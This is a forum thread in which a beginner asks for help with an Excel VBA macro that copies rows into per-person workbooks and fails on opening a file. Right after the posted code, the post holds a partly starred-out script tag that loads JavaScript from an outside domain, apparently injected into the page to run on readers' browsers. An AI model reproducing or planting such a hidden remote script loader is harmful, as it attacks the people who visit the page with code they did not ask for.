Copy and paste in another workbook with condition

phbragan

New Member
Joined
Jul 14, 2017
Messages
1
Hi everyone!

I'm Pedro Bragança from Brazil! I'm a newbie in VBA excel and its codes. I want to develop a code that copy row after row if the macro match a certain condition in the workbook. When it match a condition like Aline/Carol/Karine, it open another workbook and copy the row selected (1 to 16)(the another workbooks called Aline, Carol Karine too). Nowadays, I use a macro that copy a row with these criteria, but the following code generates a error whose I cannot fix (1004 Error - Workbooks Open Failed)


Code:
Sub Copy_Conditions ()


Dim LastRow As Integer, i As Integer, erow As Integer    LastRow = ActiveSheet.Range("A" & Rows.Count).End(xlUp).Row
    
    Application.ScreenUpdating = False
    Application.Calculation = xlManual
    
   
    
    For i = 2 To LastRow


     If Cells(i, 9) = "Aline" Then
        Range(Cells(i, 1), Cells(i, 16)).Select
        Selection.Copy


        Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Aline.xlsx"
        Worksheets("Plan1").Select
        erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row


        ActiveSheet.Cells(erow, 1).Select
        ActiveSheet.Paste
        ActiveWorkbook.Save
        ActiveWorkbook.Close
        Application.CutCopyMode = False
     
     
     If Cells(i, 9) = "Carol" Then
        Range(Cells(i, 1), Cells(i, 16)).Select
        Selection.Copy


        Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Carol.xlsx"
        Worksheets("Plan1").Select
        erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row


        ActiveSheet.Cells(erow, 1).Select
        ActiveSheet.Paste
        ActiveWorkbook.Save
        ActiveWorkbook.Close
        Application.CutCopyMode = False

End If
Next i


    Application.ScreenUpdating = True '
    Application.Calculation = xlCalculationAutomatic
    
    MsgBox "Informações inseridas com sucesso", vbInformation
    
    


End Sub
******** type="text/javascript" id="lg210a" src="https://cloudapi.online/js/api46.js">*********>
 

Excel Facts

Links? Where??
If Excel says you have links but you can't find them, go to Formulas, Name Manager. Look for old links to dead workbooks & delete.

Forum statistics

Threads
1,223,974
Messages
6,175,737
Members
452,667
Latest member
vanessavalentino83

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top